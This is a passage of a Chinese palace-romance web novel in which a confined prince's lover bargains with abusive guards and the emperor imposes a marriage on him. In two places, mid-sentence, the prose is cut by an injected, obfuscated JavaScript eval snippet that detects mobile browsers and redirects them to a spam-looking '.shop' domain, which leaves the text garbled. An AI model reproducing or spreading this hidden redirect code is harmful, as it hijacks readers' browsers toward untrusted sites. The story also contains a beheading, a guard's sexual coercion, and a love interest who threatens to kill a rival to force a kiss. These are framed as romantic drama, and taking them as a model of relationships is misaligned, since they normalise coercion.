“皇兄,臣弟是断袖!” 君墨林简直被气笑了,“君琰,你在欺君!你是不是断袖,骗得了别人难道还骗得了朕吗?!” 缓了一会儿他又说:“别说你是装的,就算你真的是断袖,那也要娶个女的进府,装点门面!这事儿就这么定了。现在你即刻出发,给朕去找到七星后人!” 月华渐浓,月中仿佛有桂影飘过,接着是他大半个月前的上奏—— “寻找七星后人之事,还请皇兄恕臣弟莽撞之罪,真正的七星后人,就在京城之中。臣弟已将目标锁定,不日即可证明给皇兄看。” 奏折上了上去,却如石沉大海,杳无回音。过了数日来了圣旨,耳边又响起皇兄的声音—— “君琰,枉朕如此信任你,拿你当最亲的兄弟!你老实告诉朕,老四在浙江干的事儿你有没有参与!?你如果没有参与,他是怎么知道关于七星后人之事的,又是怎么说服那几个士绅首领的?老四和朕之间你到底向着谁?朕只得先将你禁足一月查清此事!至于一个月后你能否出来,只有天知道!” 百年前,大楚土地底下据说有一个天机库,其中埋藏着七星道人留下的秘宝,据说得此秘宝者可得天下。 七星道人,传说中自雪山而来,上知天文,下知地理,明阴阳八卦,知奇门遁甲,却一连拒绝了七国君主之邀,誓不出仕,终日四海云游,共活了一百三十岁才离世。 而他留下的天机库中的秘宝,数百年来也一直为多国所觊觎。听说只有七星后人的血才能打开这个天机库,但这七星后人又藏于茫茫山林中的何处呢? 各国君主忙忙碌碌找了几百年,到了今朝,据说还在世的七星后人只剩下一位了。大楚、北燕、西疆等几个国家遂相继派人去找寻这名后人,其中自然也包括大楚皇帝君墨林。 雪在这日下得更大了。 这一个月甚是难熬,唯一不同的是,多了一个她陪在身边。 君琰抬头看着窗外的这场大雪,心事重重。 我这一关若是过不去,你当真要陪我一起死吗?我手上那么多条人命,数都数不清,得什么报应都是应该。我死了不打紧,可是你…… 洛夭夭,夭夭。 他看向怀中睡得正香的她,目光变得极为复杂…… 世上为什么会有这样傻的人? 5. 求人 精舍内,君墨林正端坐上首看着一份密报,下边跪着的是司礼监秉笔太监陈宠。 “万岁爷,景王府如今围得跟个铁桶似的,苍蝇也飞不出去,依奴才看,现在半月福王做的事他应该是不知情的。” “是吗?那他在府里生了病又是何人出去买的药?”君墨林眼神锐利,显然一副一切尽在掌中的样子。 “回万岁,景王带回来的那个女子恳求看守的侍卫帮忙买药,差点被羞辱,是凤祥公主恰好经过,路见不平帮了一把,侍卫这才去买药的。” “凤祥不可能每次都正好路过。”君墨林眼中划过一丝狠厉,“他君琰本事大着呢!你以为单凭一院侍卫就能困住他?江湖‘九爷’的名号可不是白叫的。他府中粮米不是快吃完了么?炭火不是快用完了么?朕就是要把他逼到山穷水尽的地步,看看他到底会如何选!” “万岁圣明。如此一来,便能看出景王的心到底是向着谁。”陈宠抬起头来,“张家小姐的事,奴才也派人去打听过了,照目前的情势来看,还得景王出面才能验证。” 君墨林冷笑了一声,“他便是以此威胁朕!朕还有用得着他的地方,即便对他有所怀疑,也得顾及着。” 多年的兄弟,彼此手里随时都捏着张底牌,制衡着对方。看来这天底下,是没有任何人值得被永远信任的。年轻的帝王思量着。 “一月之期就快要到了,这几天要更密切地盯住景王!” 眼下已到了一年中最冷的时候,飘雪飞霜,滴水成冰。洛夭夭在君琰怀里睡了半夜,翌日早上醒来时,她已被放在榻上。 飞雪一点一滴地飘融到眼睛里来。 她忽觉有些赖床了。 另一边,君琰寝室。 六个火盆中装满了府里仅剩的一些银炭,烧得通红。他穿上了厚厚的棉衣,坐在六个火盆中间,盆火熏眼,大汗淋漓。 一名小侍正将储存的冰水一桶一桶地倒进一个偌大的木桶中,“哗啦啦——” 冰水装满了,满头大汗的君琰从隔壁室内走了过来,慢慢地走向那装满了冰水的木桶,脱掉棉衣,然后榻上梯凳,一脚踏了进去! 小侍背过身去不忍看,只听见他压抑的闷呼声,冰火两重天将他整个人夹击起来,他顿时浑身颤抖,扶着木桶边缘一动不动,神色极是痛苦。 牙关紧咬间,他已将浑身浸入了冰水中…… 半个时辰后,琉璃小跑着来到厨房。 夭夭正在做饭,就听见她焦急地说:“不好了姑娘,殿下又病了!” 夭夭切菜的手惊慌一抖,不小心切到了指头,痛得鲜血直流。琉璃赶忙跑过来,扯下衣上的布给她包扎。 “别,我不要紧,我要去看看他!”她丢下琉璃就跑去了君琰卧室。 烧得满面通红的君琰正躺在榻上,额上敷着一块湿毛巾,身上盖着两床厚厚的被褥,微睁开眼睛,好像看见她来了,吃力地从被窝里伸出了手……“夭夭……” “这才刚好的,怎么又病了呢。”她心疼地在他身边坐下来,拉住他的手放回到被子里。 “隆冬季节,病情反复也是有的。”他挤出一丝笑容安慰她。 “琉璃,”她发现他抖得厉害,忙转头唤侍女,“把府里所有的炭都拿进来!” “姑娘,府里所有的炭都用完了!” “什么?!” 怎么会,不是昨天还剩一些的吗? “没事的。”他看着她,“一个月熬不过去的,还是让一切都早结束了的好。” 她摇头,大颗的泪珠啪嗒啪嗒掉了下来,“不会的,我不许你说这样的丧气话!” 他忽然注意到她手指上的伤,脸沉了下来,“你这是怎么搞的?!” “你自己都病成这样,还管我呢?”她把手指收进拳头里不给他看,“就是切菜的时候不小心而已。” “快去包扎!琉璃……” “是,殿下。”琉璃转身拿来了膏药。 夭夭看着他默默垂泪,“君琰,你别担心,我……我再去帮你找药,找炭,买粮米……” “上回不是受欺负了吗?怎么能再让你去。听话,好好在府里待着。” “你都知道了?”她睁大眼睛。 “琉璃,你看住她。”他没有再和她说话,把目光转向了侍女。 “你不能这么任性,君琰!府里没有人了,我要不去帮你,你会,你会……”她忽然站起来,转身就往外跑。 君琰的叫唤声在身后越来越模糊…… 眼前全是纷纷扬扬的雪,落在她的发上、脸上,琉璃跟在她后面追不及,府门已经“吱呀吱呀”地打开了,眼前出现的又是那几个侍卫的面孔…… “又是你?”为首的侍卫目露凶光,朝她走近了,“你还赶出来?! 上回就因为你这臭-娘-们害老-子挨了公主两个嘴巴子,这回公主不在,老-子看看还有谁能救你!” 眼看对方就是一副要报仇的样子,她退后了一步,伸手挡住:“且慢!” 侍卫头子停下了动作。 她这回学聪明了,不直接求人,而是先对他晓之以理:“上次恕我冒犯,可这位大哥,你能保证我们王爷就一辈子关在里面出不来?今天公主不在你可以找我报仇,来日王爷若出来了也可以找你报仇,世事瞬息万变,谁又说得好明天是个什么情况?做人留一线,日后好相见,这个道理你不会不知道吧?” 侍卫头子一笑,“你要讲和?讲和也可以,老-子看你浑身上下就这副皮囊值钱,只要你将老-子伺候好了,要什么东西都没问题,只看你舍不舍得豁出去。” 夭夭忍着恶心强颜一笑,“大哥,我现在已经是王爷的女人,若按你说的做了,日后王爷若是解了禁足知道了,你这个侍卫长也就做到头了。反之,若是你现在愿意帮王爷的忙,日后你就是王爷的恩人,想要什么人什么东西难道还愁得不到吗?皇上是下令让你们守在这里,可没说要眼看着王爷病死,王爷若真的出了什么意外,事情牵扯到你们,你们几条命够赔吗?” 那侍卫想了一下,“你说的倒是有理,其实我和景王素来也没什么仇怨,不过,”说着又看向她,“上回因为你让我挨了公主一顿骂,这个仇我得先报了,再来谈你刚才说的事。” 夭夭咬了咬牙,“你要怎么报?” “不是那一种的话,”侍卫长盯着她浑身打量,“你要哪一种?” 她目光中蕴着纠结和不舍,想了许久终于横下心——将腰间那块玉坠扯了下来。 那是她从小就戴着的玉坠,长这么大一直形影不离,那是父亲送给她,说能护她平安的。玉的成色、质地,都是千里挑一地好,上面雕刻着一个神奇的图案。 她双手捧着玉坠,递到了对方面前,“这块玉坠送你,我要换十天的风寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561333|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药、银炭,还有十天的粮米。” “要这么多?!”侍卫长盯着那块玉两眼直冒光,嘴上却说:“太多了!十天的米我们怎么给你背?五天!不能再多了。” 几个人高马大的侍卫还背不了十天的米吗?摆明了是在有意为难。夭夭的手腕在控制不住地颤抖,“这玉坠的成色,少说也能卖出百两,多的都归你们了,十天的粮米换不了吗?” 侍卫长鄙夷地看着她,“你一个小小平民哪来这么好的玉?别是偷的吧? 我看你这玉最多就卖个几百文钱,还几百两?果然是没见过世面的小家子,不识货得很。它要真的值那么多钱,那必然就是你偷的!我马上就叫弟兄去报官,把你这小偷抓起来!” “你……!”夭夭气得说不出话来,在心里给自己打气道:我忍,我忍……夭夭,为了君琰,你得忍…… “随你怎么说,我就要十天的,十天的量!” 这人说只给五天就是想叫她下一次再来找她! “六天,不能再多了。”侍卫长像猫玩耗子一般逗弄起她来。 夭夭咬了咬牙,“九天!” “七天。” “八天!” “你到底要不要?!爷的耐性可是有限的,七天不能再多。”他劈手过来就要夺那玉坠。 她眼疾手快,迅速把手背到身后了,“等你们弄来东西,我再交出玉坠!” 侍卫长的眼神凶了起来,“老-子凭什么信任你?” 夭夭瞪了回去:“我就在这里,又跑不掉!王爷卧病在床,没人帮得了我,你随时可以找我算账啊!” 那玉确实很好,不论是拿去送给贵人,还是去当铺典当,都能得到一笔不小的好处。 侍卫长忍住心头那口恶气,露出一个阴恻恻的笑容:“好,七天的粮米、炭和风寒药。你三日后来取。” “不行!”她听见了回头,“殿下的病情耽搁不得,最迟明天!” 买几样常见东西花得了三天的时间么?摆明就是故意恶心她罢了。 “喂。”侍卫长忽然从后面一脚踹向她的腰。 夭夭冷不防一个狗啃泥摔在了地上,手腕子一疼,想要爬起来…… 侍卫长的脚踩在了她背上。 “答应和你做交易,那天公主扇老-子的两个巴掌还没还呢,老-子就不动手了,你自己扇!” 她缓了缓,慢慢抬起了手……白皙的手掌上擦破了好几块皮,血汩汩地冒了出来。 “扇啊!”侍卫长的声音催逼着,“不扇,这笔交易你也别想做了!” 好在此刻她是背对着的,没给这人看到眼泪。风雪模糊了视线,她慢慢抬起了手,对准自己已经被冻得通红的小脸…… “住手。”一双玄色长靴忽然出现在了眼前。 是那个熟悉的声音! 满脸病容的君琰出现在了这里,站在她面前,然后犀利地看向了那个侍卫长—— “九、九爷!!”侍卫长大呼一声,迎上了两道锐利得刀子一般的目光,双腿忽地一软,不受控制地跪下了! 九爷之名号,从来都只在传说中,这些人还是头一回亲眼看到他,这人一脸病容却也周身真气荡荡、杀气腾腾,当真是气场强得吓人! 君琰平静地注视着这群蝼蚁,内力逐渐凝于掌中,轻咳了两声。 “身子抱恙,就杀不了尔等了吗?” 6. 竹马 他忽然出现在这里,宛如修罗神明,可她明知他病着,岂能眼睁睁看着他这般立于风雪中?洛夭夭忽然冲上前抱住了他的双腿。 “君琰,不能杀他们,你不能杀他们!” 即将出手的内力猛然一下子收住,他看向蹭着自己的小猫似的脑袋——“为何拦我?” “他们是皇上派来的侍卫,你杀了他们,皇上怎么想你?!” 连她一个小女子都知道的理,他景王怎能控制不住?都是为了她……夭夭想着泪水又下来了。 侍卫长一听这话眼睛又亮起来了,重新露出了那凶恶的光,环视其他弟兄们一圈,几人一并贱兮兮地起了身,拿腔拿调地笑道:“九爷,得罪了嘞!咱们可都是给皇上办差的,若有不周之处,还望您海涵。” “夭夭,你先回屋去,以后别开这道门。”他躬身去扶她起来。 她勉强站起来了,他抓着她的手,碰到了她掌心被擦破的地方,疼得她“嘶”地一声。 “怎么还伤着了?”他的脸沉了下来,“回去。” “君琰……” “回去!”他彻底恼了,“以后没有本王的命令,不许你到这里来。” 他如今病着,一直透支身体提着一口气,支撑不了太久,只能速战速决。 “姑娘,走吧!”琉璃上前来拽着她离开。 “你是侍卫长?”君琰看向了为首的那个人。 侍卫长伸长着脖子没有答话,眼神里说:是,就是老子,怎么地? “啪!”众侍卫忽听得重重的一声响,耳边连惨叫声都过去得那样快,还没反应过来,侍卫长的头颅已经掉在地上了! 鲜血溅了满地。 他们甚至都没看清景王是怎么出手的! 他站在那儿,眼中杀气腾腾,“带上这颗人头去向皇上复命,就说人是我杀的。” 这一下,所有人都傻眼了。“九爷饶命,九爷饶命啊!”“饶命啊九爷!”“奴才们知错了!” 此起彼伏的告饶声一时间不绝于耳…… “洛夭夭刚才让你们去置办的东西,即刻送到跟前来。少了一样,这颗人头就是你们的下场!” 琉璃在室内给夭夭上药。 “好了没啊?” “快了,快了……” 她急切地等着要去看君琰…… 终于上好了药,她跑去他的寝屋。屋门紧闭,她抬手敲门,“君琰,是我!” 里面没有声响。 “你开开门,让我进去看看你!”她继续拍门。 他这会儿刚回来,方才强行运功,此刻正遭反噬,听见门外她的声音,便愈发拼命地压抑着咳嗽声。 她已经很担心了,他不想再叫她看见自己这幅样子了。她越担心,就越会做出铤而走险的事来,就越会被别人欺负。 “君琰,开门啊!” 刚包扎好的伤处又被融化的雪浸湿了,她不想放弃,手顺着那扇满是冰雪的门滑落下来,心疼得滴血。 里头终于传来压抑的声音:“乖,快回去。” “你让我看你一眼,我进去看你一眼就走,好吗?” 君琰走到了门口。 洛夭夭站在门外。 两人隔着一道门,她听见他说:“夭夭乖,我这里有点事要处理,过一会儿处理完了就去找你好不好?” 她无奈地沉默了一会儿,忽然背过身,赌气般蹲了下来。“既然你不要我进去陪你,那我就在门外陪你,我就等在这里,直到你让我进去为止!我……我就想陪陪你。” “咳咳咳咳咳!”门里骤然传出一阵猛烈的咳嗽声,他似是被她的话气到了,再压抑不住。 “君琰!”她猛然一惊,一刹间简直想把门砸烂了闯进去。 “走!”却听他那边发出一声吼,凶巴巴道:“再不走,本王即刻命人将你丢出王府!” 夭夭一怔。 他竟然用这种语气和她说话?! 他还从未用这种语气跟她说话! 眼泪扑簌簌地一下子就下来了,她抽泣了一声,和着漫天飘霜,跺了一脚的雪道:“走就走!”一扭头哭着跑开了。 君琰心中松了口气,一转过身,哗啦啦吐了一地的血,坐下调息。 可恶的君琰,怎么能这么对我。她独自一人想着,坐在屋里发呆,午饭也不做了。琉璃见状便一个人在厨房忙活,到点了,便给她端来饭菜。 “姑娘,吃点吧。” “他的饭食呢?” “已经送过去了。”琉璃笑道:“姑娘分明生殿下的气,可心里还是惦记着他呢。” “我和一个病人置什么气。”她气呼呼地啃了一口馒头,放到盘子里,“他生病了,我还和他计较,不知道的还说是我欺负他呢。” “好啦姑娘。”琉璃给她揉肩,“王爷也是因为担心你啊。” “对了,我那块玉坠……” 门外忽然传来搬东西的声音,她急忙出去,看到一小侍正背着粮米袋子进来,不觉又惊又喜,“这……” “洛姑娘且好好休息吧,这些东西就不劳您操心了。”小侍卫笑着说。 “他们没有找你要交换的东西吗?” 小侍疑惑道:“嗯?没有啊,什么都没要。” “哦……”她疑惑地点了点头,转身进屋,忽然心下一凉,“可是我的玉坠到哪儿去了?!” “怎么了姑娘?”琉璃问她。 “我……我的玉坠!”她这下慌了,“本来是要给他们做交换的,这下没给出去,可是东西不见了!” “玉坠?很重要的东西吗?” “对!那是我从小不离身的。” “那奴婢帮姑娘一起找找吧。” 于是乎,两个人开始满府找玉坠…… 找了半个时辰一无所获,两人翻到后院时忽然听见从墙那头传来的声响…… 洛夭夭忽然竖起耳朵,好像听见了某个熟悉的声音,她跑到墙下站着,仰起头,面上一讶。 很快一个少年的身影出现在了墙上,然后他瞅准了往下一跳——“噗通!” “姑娘?”琉璃闻声赶来。 “嘘!”夭夭赶紧对她比了个手势。 “夭夭!”少年朝她奔过来,一张脸也被冻得通红通红的。 “司云?你怎么来了?”她向后退了一步,避过了他那双就要过来的手,说道:“快走!” 司云有着一双如山泉水般清澈的眼睛,凝神看着她,“我好不容易追到这里来,又好不容易打听到你的行踪、买通关系混进侍卫队伍里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561334|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然来了我就不会走!夭夭,你当初留下一封信就跟一个身份不明的人走了,你知道伯父、伯母和我有多伤心吗?” 夭夭看着他,“我爹娘还好吗?” “自然是天天念叨着你了。圣贤说,‘父母之命,媒妁之言’,你倒好,直接和人私奔,这人竟然还是九爷!九爷在江湖上的名声多臭你不知道?他是个江湖魔头,魔头啊!岂是你我这样的人招惹得起的?!” “惹不惹得起都已经惹了。我不管他名声怎么样,我喜欢的就是君琰。”她认真地说,“司云哥哥,谢谢你千里迢迢来找我,但是我不会和你走的。君琰现在需要我。” “他这样的人会需要你?”司云蹙着眉头,“你不要再继续骗自己了。我们这般人家和九爷这样的人,原是八辈子都打不到一杆交集的,无非是那日恰好救了他。医者眼里病人没有高低贵贱之分,但是嫁娶不能也这样,夭夭,你不适合他!” “适不适合由我自己说了算!司云哥哥,你快些走吧,再晚被人发现就麻烦了,我只当从没见过你!” 她一个字也听不进去,一门心思要赶他走,司云心里就像被针扎了一般,可他仍不死心,“小时候你脾气也倔,我什么事都依你,可现在这件事不一样,仅此一件事,你听我的,好吗?” 她亦以同样的语气回答他:“仅此一件事,听你的,不行。司云哥哥,若无必要,你我以后也不要再见面了。” “为什么?!”他的眼中骤然失去了光彩。 “君琰在这方面是很小气的,也很缺乏安全感,我不想让他多想,更不想令他难过。” 司云一阵讶然,“就为了他?那除我之外别的男子呢,你难道不要交朋友了?你以前最是向往自由,那么多朋友你都不要了吗,就因为他们都是男子?” “司云哥哥,以前我们还小,经常在一起玩闹,现在我们长大了,有些事就变得不一样了。”她看着他,“我只是把你当哥哥。” 司云气笑了,“你竟然可以为他做到这个地步。” “心甘情愿而已。” “可他毕竟是个王爷,不可能娶你一个平民做妻子,若以后他府中三妻四妾,你也忍得他么?” “司云哥哥!”她打断了他,一张小脸涨得通红,“这是我自己的事,你不用再多问了。” “夭夭妹妹……”他丧气地垂下了头,“对不起,是我冒犯了。我原以为你对我……” 她点了点头,“今天说清楚了也好。” “那从今往后,你都不要再见我了吗?”他向她走近一步,“那给我抱一下好不好?就一下,当是你我从此诀别。” 他向她伸出了双臂。 夭夭僵在那里。 她没想到他会提出这样的要求,也没想到…… 可司云哥哥被拒绝了,他心里现在应当也很难过吧?算了,不就是安慰一下嘛,反正以后都很难再见了。拥抱也未必是恋人之间才能有,对吧? 毕竟有数年青梅竹马的情谊,她想着终究是起了怜心,正欲向他走过去。 “夭夭,你在做什么?”一个冰冷的声音忽从不远处响起。 夭夭怔住,朝那个声音传来的方向看过去。 君琰穿了深蓝色的裘袄,正站在那里,脸色阴沉得像要杀人。 7. 吃醋 司云从未见过气场如此冰冷强大之人,哪怕脸上现着病容,站在那儿的压迫感也令人不敢直视,宛如一尊杀神。 他愣住了,还未反应过来,自己的小青梅已经向那杀神跑了过去,“君琰!你怎么出来了?你感觉好些了吗?” 君琰没有看她,只把不善的目光投向了眼前这位不速之客:“你是何人?” 司云慌了一阵子才冷静下来,在脑中回想了一遍所有的礼数,行了一个他自认为挑不出错的礼道:“在下司云,见过景王殿下,无意冒犯,只是小妹在贵府多有叨扰,在下想来接她回家。” “小妹?”君琰挑眉,“你姓司她姓洛,莫非是表亲?” “不是啦君琰,他就是和我一起长大的玩伴,住我家隔壁,那段时间他刚好出去了,不然你也早就认识他了呢。”洛夭夭挽着他的手,补充了一句:“我对他就像对哥哥一样。” 她原以为这句解释能让他平静下来,却不想他的脸色愈发沉了,“一起长大?哥哥?” 司云见状决定再努把力:“王爷,夭夭的父母对她思念得紧,特来让我接她回去的。” “哦。”君琰没有顺着他的话说,反道:“你可知我王府的规矩?” 司云一怔。 君琰冰冷地吐出一句:“擅闯王府者,死。” “君琰不要!”夭夭立马挡在了他们中间,“他也不是故意的,你放过他吧!就看在我的面子上。” 司云吓傻了…… “不是故意的?”他看了她一眼,“偷偷潜入我府上意图把你拐走,还说不是别有用心?” “那他也是因为关心我。”她说,“而且你看,我不是没走吗?” “关心你?”他抬起她的下巴,“你倒是很享受她的关心。” “我……不是,不是这个意思!君琰你听我说,” “吻我。”他忽然打断了她,命令道。 “……啊?” “吻我。”他耐着性子重复了一遍,语气很是凉薄。“快点儿。” 他是要她当着司云哥哥的面吻他吗? 这也太残酷了,本来她就刚刚才拒绝了司云…… “怎么,你是顾及他吗?”君琰继续问着,勾起了唇角。“刚才他要抱你你毫不犹豫,现在要你亲我你却推三阻四,夭夭!” “我……”她怔在那里。 他失了耐性,放开她的下巴,“要么亲我,要么我杀了他,要么你现在就和他走!” 司云的脸已经白了,他喊道:“王爷,要杀要剐你冲我来,别为难她!” 话音还未落,却见夭夭已经踮起脚尖吻了上去。她的吻落在他的脸颊上,君琰的目光霎时间明朗了,宛如雪化春冰,散去了所有的阴霾。 司云彻底麻木了。 君琰得意地把目光转向了他,一副宣誓主权的样子,“你都看到了吧?” “我,我知道了。”司云点了点头,脸色很是难看,“我现在就走!” 夭夭紧张地看着他重新从院墙翻了出去,一颗悬着的心才放了下来。 “这是你的东西?”一个玉坠忽出现在眼前。君琰一手高高拿起她的玉坠,玩味地看着她。 “我的玉坠!”她抬手要去抓,他却有意抬高了手。“诶,怎么在你那?” “你不小心掉在地上的。”他笑着,有意不给她抓到。 “哎呀,还给我!”她抓住他的胳膊去够…… 他一松手,玉坠落在了她掌心。 然而很快他将手掌覆了上来,柔声中带着蛊惑:“——送给我吧?” “诶?”她睁大眼睛看着他。 这个玉坠是她从小不离身、视若珍宝的东西。不过,既是他想要嘛…… “好嘛?”他的手握得更紧了,透着不容她拒绝的意味。 “当然。”她轻松一笑,“既是你想要,自然可以送你。” 她将玉坠给了他。 他的脸色这才好了一点,拿出一把精巧的匕首给她,“我也送你个回礼。你没有功夫,若我不在身边,可以拿这个防身。” “哦?这匕首挺漂亮的嘛!”她开心地接过。 “你刚才很关心那个人啊。”他忽然说,方才他已将她看着司云时那一番紧张的神情尽收眼底。 她调皮地吐了吐舌头,“君琰,你刚才好吓人,我和他不过就是寻常的亲情而已啊。” “不行,不可以……”他抬起她的下巴让她正视自己,“哪怕是寻常的亲情也不行!”说罢他放了手,大步朝屋里走去。 “君琰,君琰!”夭夭追着他喊,“你等等我啊!” 方才他听见动静担心她,又透支了内力撑着出来,不想来了却是看到她和别的男子在一起,还作势要抱他,气得他差点背过气去,一日之内接连遭受两道反噬,他转身扶着墙角呕了口血。 “君琰!”夭夭气喘吁吁地追了上来,见状一惊,“你吐血了!” “不是什么大事。”他扶着墙露出了一丝微笑。“从今天晚上起,我就要病入膏肓了,夭夭,你可还会继续留在我身边?” 夭夭无奈,一时也不及揣摩他话中的奇怪之处,只说:“你这都问的什么话?我要走的话,早就走了。” “那如果我死了呢?”他又说。 “我陪你。”她耐心地回答着他,“我一辈子不嫁。” “不,夭夭。”他摇了摇头,“如果我死了,你就不用再陪我了,找刚才那个司云嫁了吧。他能给你自由,我给不了你。” “……不要平白咒自己啊!你这样说,是存心气我不?” “没有咒自己,我自己的身体自己知道。”他一面煞有介事地说着,一面不着痕迹地观察着她的神色,企图从中看到比方才那会儿更担忧更挂念的神情。 “你知道我就不知道?我还是大夫呢!”她和他辩着,忽然“哇”地一声哭了出来,大颗的泪珠一下子落得满脸,抽抽搭搭,眼泪完全止不住…… “诶?”他强撑着拉住她,这回轮到他有些无措了,慌乱问道:“你哭什么呀?” “你,你,你……”她抽泣得说不出来一句完整的话。 他见状明了了,轻轻将她拥入怀中,低头吻去她脸上的泪水。“好啦,没事了。” …… 早知道就不欺负她了。 接下来的几日,夭夭一直在榻边守着君琰,衣不解带地照顾他。接连两次的反噬以后他病得更重了,好在七日的粮米、药品和炭都已拿来,她还能在厨房给他做些可口的饭食。 翌日,景王府有了大动静。 一架华贵的龙辇停在了府门口,周围一片寂静,围着王府的侍卫们一个个噤若寒蝉,头也不敢抬一下。 烧得满面通红的君琰正躺在榻上,夭夭坐在旁边,拿着手绢拭泪,她早就听到外头的动静,又见进来的人衣着不俗,心下一怔反应过来今天来的是大人物,忙就跪下了。 大太监陈福走了进来,看见榻上的景王爷,恭恭敬敬给他请了个安:“奴才陈福给景王爷请安。” 君琰人卧病在榻,不能回应,陈福叹了口气,转身迎君墨林进来。 年轻的帝王阔步走进屋来,便闻到一股药味,他走到榻边,轻声唤道:“九弟,九弟?” 君琰昏迷不醒。 洛夭夭一动也不敢动。 陈福伸手在君琰的额头上探了一探,立马缩了回来,“好烫!万岁,王爷这病情不能耽搁下去啊!” “嗯。”君墨林的脸上没有什么表情,他再次靠近君琰,在他耳边说:“要不要朕请宫里的太医来给你看看?” 过了一会儿,帝王注意到了旁边那名跪着的女子,她的头埋得很低。 “你,抬起头来。” 一张出水芙蕖般水灵的脸蛋映入眼帘,黑曜石般的瞳仁里藏了些许的惧怕和紧张,面前的少女一袭粉衣,容色虽说不上倾城,却也是十足动人。 君墨林居高临下道:“你就是九弟从山里带回来的那个洛夭夭?” ……怎么,皇上也 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“啪”,又是一下。 “啪、啪、啪……!” 君墨林没有说话,看着眼前雪景的眼睛里,忽然冒出了一丝嫉妒且不解的光。 九弟随便从山里带回来的一个女子,才和她相处了几个月,便能让她如此死心塌地地为他求情,更不愿在他危难之时舍弃他而转投宫里的荣华富贵,可为什么自己身边的宫女太监们,叛的叛,散的散,更有甚者,还会在他睡觉时勒他脖颈?! 他就这么不如九弟吗?! 九弟身边一个刚认识没多久的女子,都比他身边跟了数十年的奴才更加死心塌地! 那股子属于帝王的自尊心忽升腾了起来,他捏紧了拳头,耳边听着身后姑娘重重的磕头声,一直没有喊停。 身旁的陈宠猫着腰,看看她,又看看皇帝,左右为难…… “求陛下开恩,求陛下开恩!” 姑娘的声音在风雪中孤独地回荡着…… 很快,她头上磕出了血,地上也落下一滩斑斑血迹,流到了帝王脚边…… 君墨林一怔,这才挪开了脚,回过身来—— 夭夭在这一刻身子一歪,朝一边倒下了。 好晕,好晕……好疼。 她闭上了眼睛。 君墨林这时才赶忙道:“快!传太医过来!” “是,万岁。”陈福急匆匆地去了。 太医急匆匆地赶过来了,先给君琰看,后给夭夭看。 “景王害的什么病?”君墨林问。 老太医弓着腰:“回皇上,王爷害的是伤寒。” 过了半刻钟夭夭醒了,她头上的伤口被包扎了起来,一睁眼就看到一个老太医坐在自己面前。 君墨林:“洛夭夭,你再说一遍,景王这些天是一直病着吗?” “是,是啊……”她疑惑于帝王为何再问。 “是你亲眼见到的吗?” “回陛下,民女每天都在这里,王爷生病民女都是亲眼所见,高热不退,时常昏迷不醒,病得很严重。” “可是朕听说,他昨日才教训了门口的奴才!” “那是为了民女……不,是没有办法,陛下,府里没有粮米和药了,我们只能拜托门口的侍卫去帮忙买一些,他们实在不肯帮忙,就起了冲突……王爷,王爷他也不愿意这样的。” “咳咳……”榻上的人这时咳嗽起来。 夭夭立即投去关心的目光,却又顾及到帝王在场,不敢有太多表示。 “陛下,王爷醒了!”陈福笑道。 “咳咳,皇兄来了。”君琰慢慢睁开了眼睛,很快就看到夭夭也在场…… 君墨林笑了笑,“你醒了,九弟。”然后他看了一眼旁边的洛夭夭,慢悠悠地说——“朕已决定为你和张家小姐赐婚,只等你好起来,便择日举行婚礼!” 8. 困境 夭夭的眼睛睁大了。 君琰怔然看向皇帝。 从她那儿来的一道目光,他不敢看,亦不忍直视。 “皇兄……” “这是圣意!”君墨林的声音盖过了他,整个屋内一时静得可怕。夭夭的心狂跳着,一双眼睛又懵又不知所措,只是看着他,希望他能说点什么…… 兄弟二人的目光顶住了。君琰能看见皇兄眼底的凉薄,还有那一丝深不见底的笑意。 他终于郑重地说—— “臣弟,领旨谢恩。” 夭夭的眼睛瞪圆了……两行泪水无声地顺着她苍白的小脸儿滑落。 “这样就最好嘛。”君墨林挑眉说道:“朕已将事情查明,老四的事情确实和你没有关系。这段日子,委屈你了。” “能释皇兄心头之疑,臣弟不觉得委屈。”他刚服了药,身上稍微好了一些,但头依然昏得厉害。 夭夭呆呆地看着他们,直到皇上离开…… 方才,就算是皇上开口说要给他赐婚的时候,她心里都没有那么害怕,她觉得只要有他在,什么都不怕,他会为她抗命的,一定会的,他们已经互相许下终身,他不会娶旁的女子…… 可是,直到他说出那句“领旨谢恩”,她的世界陡然坍塌了,额上的伤更痛了,耳边也嗡嗡直鸣,一时不知自己身在何处。她是不是听错了? “夭夭。”君琰下了榻,站到她面前。 他的声音从来都很好听,只是这一回,莫名让她觉得害怕。 她打住他,“等等,你不要说!” 她也站了起来,“你不要说,不要说……” 他看着她的泪水大颗大颗地滴下来…… 若是往常,他一定会抬起手为她拭泪。 “我必须说。”他的声音这时强硬了起来,双手揽过她的肩膀,掰她转面过来正对着自己。 夭夭一双大眼睛委屈得一直掉眼泪,眼周红红的,小巧的鼻尖上也红红的,低着头不去看他。她满心以为他是要解释什么,或者是哄哄自己,或是和她说什么别的解决办法,却不想他开口道—— “你不能再留在此地了。” 屋外的风雪不住地往里吹,她的秀发也散乱了。 她不可置信地看着他,“你要我走?你当真……” “皇兄已经将王府解禁,我的危机解除了,以后不再需要看谁的眼色,所以也不需要你再帮我去讨什么东西了。你继续留在这里,毫无意义。” “你……你是说,你不要我了?”事情变化得太快,一切都发生得很突然,她愣怔在那里。 